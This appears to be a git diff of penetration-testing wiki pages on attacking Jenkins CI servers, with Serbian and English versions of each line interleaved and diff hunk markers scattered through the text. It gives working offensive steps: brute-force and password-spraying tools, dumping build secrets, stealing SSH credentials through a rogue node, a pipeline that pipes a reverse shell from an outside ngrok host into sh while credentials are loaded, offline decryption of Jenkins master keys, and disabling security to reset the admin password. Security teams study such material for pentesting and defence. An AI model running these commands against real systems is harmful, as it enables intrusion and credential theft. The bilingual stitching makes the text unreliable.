Takođe, ako su **SSO** **funkcionalnosti**/**pluginovi** prisutni, onda biste trebali pokušati da se **prijavite** u aplikaciju koristeći test nalog (npr., test **Github/Bitbucket nalog**). Trik iz [**ovde**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** nema **politiku lozinki** i **mitigaciju brute-force napada na korisnička imena**. Bitno je **brute-force** korisnike jer se mogu koristiti **slabe lozinke** ili **korisnička imena kao lozinke**, čak i **obrnuta korisnička imena kao lozinke**.
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Koristite [ovaj python skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ili [ovaj powershell skript](https://github.com/chryzsh/JenkinsPasswordSpray).
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
Mnoge organizacije kombinuju **SaaS-based source control management (SCM) systems** kao što su GitHub ili GitLab sa **internim, samostalno hostovanim CI** rešenjem poput Jenkins-a ili TeamCity-a. Ova postavka omogućava CI sistemima da **prijemaju webhook događaje od SaaS provajdera za kontrolu izvora**, prvenstveno za pokretanje pipeline poslova.
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
Da bi to postigle, organizacije **stavljaju na belu listu** **IP opsege** **SCM platformi**, omogućavajući im pristup **internom CI sistemu** putem **webhook-a**. Međutim, važno je napomenuti da **bilo ko** može da kreira **nalog** na GitHub-u ili GitLab-u i konfiguriše ga da **pokrene webhook**, potencijalno šaljući zahteve **internom CI sistemu**.
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
Proverite: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
U ovim scenarijima pretpostavljamo da imate važeći nalog za pristup Jenkins-u.
In these scenarios we are going to suppose you have a valid account to access Jenkins.
> [!WARNING]
> U zavisnosti od **Authorization** mehanizma konfiguranog u Jenkins-u i dozvole kompromitovanog korisnika, **možda ćete moći ili ne moći da izvršite sledeće napade.**
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
Za više informacija proverite osnovne informacije:
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
@@ -81,212 +87,226 @@ basic-jenkins-information.md
### Listing users
Ako ste pristupili Jenkins-u, možete da navedete druge registrovane korisnike na [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping builds to find cleartext secrets
Koristite [ovaj skript](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) da izbacite izlaze konzole gradnje i promenljive okruženja gradnje kako biste se nadali da ćete pronaći tajne u čistom tekstu.
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Krađa SSH kredencijala**
Ako kompromitovani korisnik ima **dovoljno privilegija da kreira/modifikuje novi Jenkins čvor** i SSH kredencijali su već sačuvani za pristup drugim čvorovima, mogao bi **ukrasti te kredencijale** kreiranjem/modifikovanjem čvora i **postavljanjem hosta koji će snimati kredencijale** bez verifikacije host ključa:
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
![](<../../images/image (218).png>)
Obično ćete pronaći Jenkins ssh kredencijale u **globalnom provajderu** (`/credentials/`), tako da ih možete i dumpovati kao što biste dumpovali bilo koju drugu tajnu. Više informacija u [**odeljku o dumpovanju tajni**](./#dumping-secrets).
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
### **RCE u Jenkins-u**
### **RCE in Jenkins**
Dobijanje **shell-a na Jenkins serveru** daje napadaču priliku da otkrije sve **tajne** i **env varijable** i da **iskoristi druge mašine** locirane u istoj mreži ili čak **prikupi cloud kredencijale**.
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
Podrazumevano, Jenkins će **raditi kao SYSTEM**. Tako da, kompromitovanje će napadaču dati **SYSTEM privilegije**.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
### **RCE Kreiranje/Modifikovanje projekta**
### **RCE Creating/Modifying a project**
Kreiranje/Modifikovanje projekta je način da se dobije RCE nad Jenkins serverom:
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Izvršavanje Groovy skripte**
### **RCE Execute Groovy script**
Takođe možete dobiti RCE izvršavanjem Groovy skripte, koja može biti manje uočljiva od kreiranja novog projekta:
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Kreiranje/Modifikovanje Pipeline-a
### RCE Creating/Modifying Pipeline
Takođe možete dobiti **RCE kreiranjem/modifikovanjem pipeline-a**:
You can also get **RCE by creating/modifying a pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Eksploatacija Pipeline-a
## Pipeline Exploitation
Da biste eksploatisali pipeline-ove, još uvek morate imati pristup Jenkins-u.
To exploit pipelines you still need to have access to Jenkins.
### Build Pipeline-i
### Build Pipelines
**Pipeline-i** se takođe mogu koristiti kao **mehanizam za izgradnju u projektima**, u tom slučaju može se konfigurisati **fajl unutar repozitorijuma** koji će sadržati sintaksu pipeline-a. Podrazumevano se koristi `/Jenkinsfile`:
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
![](<../../images/image (127).png>)
Takođe je moguće **čuvati konfiguracione fajlove pipeline-a na drugim mestima** (na drugim repozitorijumima, na primer) sa ciljem **razdvajanja** pristupa repozitorijumu i pristupa pipeline-u.
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
Ako napadač ima **pravo pisanja nad tim fajlom**, moći će da **modifikuje** i **potencijalno pokrene** pipeline bez čak i pristupa Jenkins-u.\
Moguće je da će napadač morati da **obiđe neke zaštite grana** (u zavisnosti od platforme i privilegija korisnika, one se mogu obići ili ne).
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
Najčešći okidači za izvršavanje prilagođenog pipeline-a su:
The most common triggers to execute a custom pipeline are:
- **Pull request** na glavnu granu (ili potencijalno na druge grane)
- **Push na glavnu granu** (ili potencijalno na druge grane)
- **Ažuriranje glavne grane** i čekanje da se na neki način izvrši
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
> [!NOTE]
> Ako ste **spoljašnji korisnik**, ne biste trebali očekivati da kreirate **PR na glavnu granu** repozitorijuma **drugog korisnika/organizacije** i **pokrenete pipeline**... ali ako je **loše konfigurisano**, mogli biste potpuno **kompromitovati kompanije samo iskorišćavajući ovo**.
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
### Pipeline RCE
U prethodnom RCE odeljku već je naznačena tehnika za [**dobijanje RCE modifikovanjem pipeline-a**](./#rce-creating-modifying-pipeline).
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
### Proveravanje Env varijabli
### Checking Env variables
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
Moguće je deklarisati **env varijable u čistom tekstu** za ceo pipeline ili za specifične faze. Ove env varijable **ne bi trebale sadržati osetljive informacije**, ali napadač uvek može **proveriti sve konfiguracije pipeline-a/Jenkinsfile-ove:**
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets
Za informacije o tome kako se tajne obično tretiraju u Jenkins-u, pogledajte osnovne informacije:
For information about how are secrets usually treated by Jenkins check out the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) ili na **specifične projekte** (`/job/<project-name>/configure`). Stoga, da biste eksfiltrirali sve njih, morate **kompromitovati barem sve projekte** koji sadrže tajne i izvršiti prilagođene/otrovane pipeline-ove.
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
Postoji još jedan problem, da biste dobili **tajnu unutar env** pipeline-a, morate **znati ime i tip tajne**. Na primer, ako pokušate da **učitate** **`usernamePassword`** **tajnu** kao **`string`** **tajnu**, dobićete ovu **grešku**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Evo kako da učitate neke uobičajene tipove tajni:
Here you have the way to load some common secret types:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
Na kraju ove stranice možete **pronaći sve tipove kredencijala**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> Najbolji način da **izvučete sve tajne odjednom** je da **kompromitujete** **Jenkins** mašinu (na primer, pokretanjem reverzne ljuske u **ugrađenom čvoru**) i zatim **procurite** **glavne ključeve** i **kriptovane tajne** i dekriptujete ih offline.\
> Više o tome kako to uraditi u [odeljku Čvorovi i Agenti](./#nodes-and-agents) i u [odeljku Post Eksploatacija](./#post-exploitation).
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
### Okidači
### Triggers
Iz [dokumentacije](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Direktiva `triggers` definiše **automatske načine na koje bi Pipeline trebao biti ponovo aktiviran**. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, `triggers` možda neće biti potrebni jer će integracija zasnovana na webhook-ovima verovatno već biti prisutna. Trenutno dostupni okidači su `cron`, `pollSCM` i `upstream`.
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
Cron example:
Primer cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
Proverite **druge primere u dokumentaciji**.
### Čvorovi i Agenti
Check **other examples in the docs**.
**Jenkins instanca** može imati **različite agente koji rade na različitim mašinama**. Sa perspektive napadača, pristup različitim mašinama znači **različite potencijalne cloud kredencijale** koje se mogu ukrasti ili **različit pristup mreži** koji se može zloupotrebiti za eksploataciju drugih mašina.
### Nodes & Agents
Za više informacija proverite osnovne informacije:
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Možete enumerisati **konfigurisane čvorove** u `/computer/`, obično ćete pronaći **`Built-In Node`** (koji je čvor koji pokreće Jenkins) i potencijalno više:
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
![](<../../images/image (249).png>)
**Posebno je zanimljivo kompromitovati Built-In čvor** jer sadrži osetljive Jenkins informacije.
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
Da biste naznačili da želite da **pokrenete** **pipeline** u **ugrađenom Jenkins čvoru**, možete uneti sledeću konfiguraciju unutar pipeline-a:
```bash
pipeline {
agent {label 'built-in'}
agent {label 'built-in'}
```
### Potpuni primer
Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage promenljivim okruženjima, učitavajući 2 promenljive u koraku i šaljući reverznu ljusku:
### Complete example
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
post {
always {
cleanWs()
}
}
}
```
## Pročitajte proizvoljnu datoteku do RCE
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,40 +326,43 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Post Eksploatacija
## Post Exploitation
### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Tajne
Možete nabrojati tajne pristupajući `/credentials/` ako imate dovoljno dozvola. Imajte na umu da će ovo samo nabrojati tajne unutar `credentials.xml` datoteke, ali **datoteke za konfiguraciju gradnje** takođe mogu imati **više kredencijala**.
### Jenkins Secrets
Ako možete **videti konfiguraciju svakog projekta**, možete takođe videti **imena kredencijala (tajni)** koji se koriste za pristup repozitorijumu i **druge kredencijale projekta**.
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
![](<../../images/image (180).png>)
#### Iz Groovy
#### From Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### Iz diska
#### From disk
Ove datoteke su potrebne za **dešifrovanje Jenkins tajni**:
These files are needed to **decrypt Jenkins secrets**:
- secrets/master.key
- secrets/hudson.util.Secret
Takve **tajne se obično mogu naći u**:
Such **secrets can usually be found in**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Evo regex-a da ih pronađete:
Here's a regex to find them:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -349,9 +372,11 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Decrypt Jenkins secrets offline
Ako ste izvezli **potrebne lozinke za dešifrovanje tajni**, koristite [**ovaj skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **da dešifrujete te tajne**.
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,20 +384,23 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Dešifrovanje Jenkins tajni iz Groovy-a
#### Decrypt Jenkins secrets from Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Kreirajte novog admin korisnika
1. Pristupite Jenkins config.xml datoteci u `/var/lib/jenkins/config.xml` ili `C:\Program Files (x86)\Jenkis\`
2. Potražite reč `<useSecurity>true</useSecurity>` i promenite reč **`true`** u **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restartujte** **Jenkins** server: `service jenkins restart`
4. Sada ponovo idite na Jenkins portal i **Jenkins neće tražiti nikakve kredencijale** ovaj put. Navigirajte do "**Manage Jenkins**" da ponovo postavite **administratorsku lozinku**.
5. **Ponovo omogućite** **bezbednost** promenom postavki na `<useSecurity>true</useSecurity>` i **ponovo restartujte Jenkins**.
### Create new admin user
## Reference
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** the **Jenkins** server: `service jenkins restart`
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
## References
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -382,3 +410,6 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,87 +1,87 @@
# Osnovne informacije o Jenkinsu
# Basic Jenkins Information
{{#include ../../banners/hacktricks-training.md}}
## Pristup
## Access
### Korisničko ime + Lozinka
### Username + Password
Najčešći način prijavljivanja u Jenkins je putem korisničkog imena ili lozinke.
The most common way to login in Jenkins if with a username or a password
### Kolačić
### Cookie
Ako se **autorizovani kolačić ukrade**, može se koristiti za pristup sesiji korisnika. Kolačić se obično naziva `JSESSIONID.*`. (Korisnik može prekinuti sve svoje sesije, ali prvo mora da sazna da je kolačić ukraden).
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
### SSO/Pluginovi
### SSO/Plugins
Jenkins se može konfigurisati pomoću pluginova da bude **dostupan putem treće strane SSO**.
Jenkins can be configured using plugins to be **accessible via third party SSO**.
### Tokeni
### Tokens
**Korisnici mogu generisati tokene** kako bi omogućili pristup aplikacijama da ih imituju putem CLI ili REST API.
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
### SSH Ključevi
### SSH Keys
Ova komponenta pruža ugrađeni SSH server za Jenkins. To je alternativno sučelje za [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), a komande se mogu pozivati na ovaj način koristeći bilo koji SSH klijent. (Iz [dokumentacije](https://plugins.jenkins.io/sshd/))
This component provides a built-in SSH server for Jenkins. Its an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
## Autorizacija
## Authorization
U `/configureSecurity` moguće je **konfigurisati metodu autorizacije Jenkins-a**. Postoji nekoliko opcija:
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
- **Svako može raditi šta hoće**: Čak i anonimni pristup može administrirati server.
- **Legacy mode**: Isto kao Jenkins <1.164. Ako imate **"admin" ulogu**, dobićete **potpunu kontrolu** nad sistemom, a **inače** (uključujući **anonimne** korisnike) imaćete **pristup za čitanje**.
- **Prijavljeni korisnici mogu raditi šta hoće**: U ovom režimu, svaki **prijavljeni korisnik dobija potpunu kontrolu** nad Jenkins-om. Jedini korisnik koji neće imati potpunu kontrolu je **anonimni korisnik**, koji dobija samo **pristup za čitanje**.
- **Matrix-based security**: Možete konfigurisati **ko može raditi šta** u tabeli. Svaki **stubac** predstavlja **dozvolu**. Svaki **red** **predstavlja** **korisnika ili grupu/ulogu.** Ovo uključuje posebnog korisnika '**anonimno**', koji predstavlja **neautentifikovane korisnike**, kao i '**autentifikovane**', koji predstavljaju **sve autentifikovane korisnike**.
- **Anyone can do anything**: Even anonymous access can administrate the server
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
![](<../../images/image (149).png>)
- **Strategija autorizacije zasnovana na projektima:** Ovaj režim je **proširenje** na "**Matrix-based security**" koje omogućava dodatnu ACL matricu da bude **definisana za svaki projekat posebno.**
- **Strategija zasnovana na rolama:** Omogućava definisanje autorizacija koristeći **strategiju zasnovanu na rolama**. Upravljajte rolama u `/role-strategy`.
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
## **Sigurnosno carstvo**
## **Security Realm**
U `/configureSecurity` moguće je **konfigurisati sigurnosno carstvo.** Po defaultu, Jenkins uključuje podršku za nekoliko različitih sigurnosnih carstava:
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
- **Delegirati servlet kontejneru**: Za **delegiranje autentifikacije servlet kontejneru koji pokreće Jenkins kontroler**, kao što je [Jetty](https://www.eclipse.org/jetty/).
- **Jenkinsova vlastita baza korisnika:** Koristite **Jenkinsovu ugrađenu bazu podataka korisnika** za autentifikaciju umesto delegiranja na eksterni sistem. Ovo je omogućeno po defaultu.
- **LDAP**: Delegirati svu autentifikaciju na konfigurisan LDAP server, uključujući i korisnike i grupe.
- **Unix baza korisnika/grupa**: **Delegira autentifikaciju na osnovnu Unix** OS nivo bazu korisnika na Jenkins kontroleru. Ovaj režim će takođe omogućiti ponovnu upotrebu Unix grupa za autorizaciju.
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Use **Jenkinss own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
Pluginovi mogu pružiti dodatna sigurnosna carstva koja mogu biti korisna za uključivanje Jenkinsa u postojeće identitetske sisteme, kao što su:
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins Čvorovi, Agenti i Izvršioci
## Jenkins Nodes, Agents & Executors
Definicije iz [dokumentacije](https://www.jenkins.io/doc/book/managing/nodes/):
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Čvorovi** su **mašine** na kojima se izvršavaju **agenti za izgradnju**. Jenkins prati svaki priključeni čvor za slobodan prostor na disku, slobodan temp prostor, slobodan swap, vreme/sinkronizaciju sata i vreme odgovora. Čvor se uzima offline ako bilo koja od ovih vrednosti pređe konfigurisani prag.
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
**Agenti** **upravljaju** **izvršenjem zadataka** u ime Jenkins kontrolera koristeći **izvršioce**. Agent može koristiti bilo koji operativni sistem koji podržava Javu. Alati potrebni za izgradnje i testove su instalirani na čvoru na kojem agent radi; mogu se **instalirati direktno ili u kontejneru** (Docker ili Kubernetes). Svaki **agent je zapravo proces sa svojim PID** na host mašini.
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
**Izvršilac** je **slot za izvršenje zadataka**; zapravo, to je **nit u agentu**. **Broj izvršilaca** na čvoru definiše broj **paralelnih zadataka** koji se mogu izvršiti na tom čvoru u jednom trenutku. Drugim rečima, ovo određuje **broj paralelnih Pipeline `stages`** koji mogu izvršiti na tom čvoru u jednom trenutku.
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
## Jenkins Tajne
## Jenkins Secrets
### Enkripcija Tajni i Akreditiva
### Encryption of Secrets and Credentials
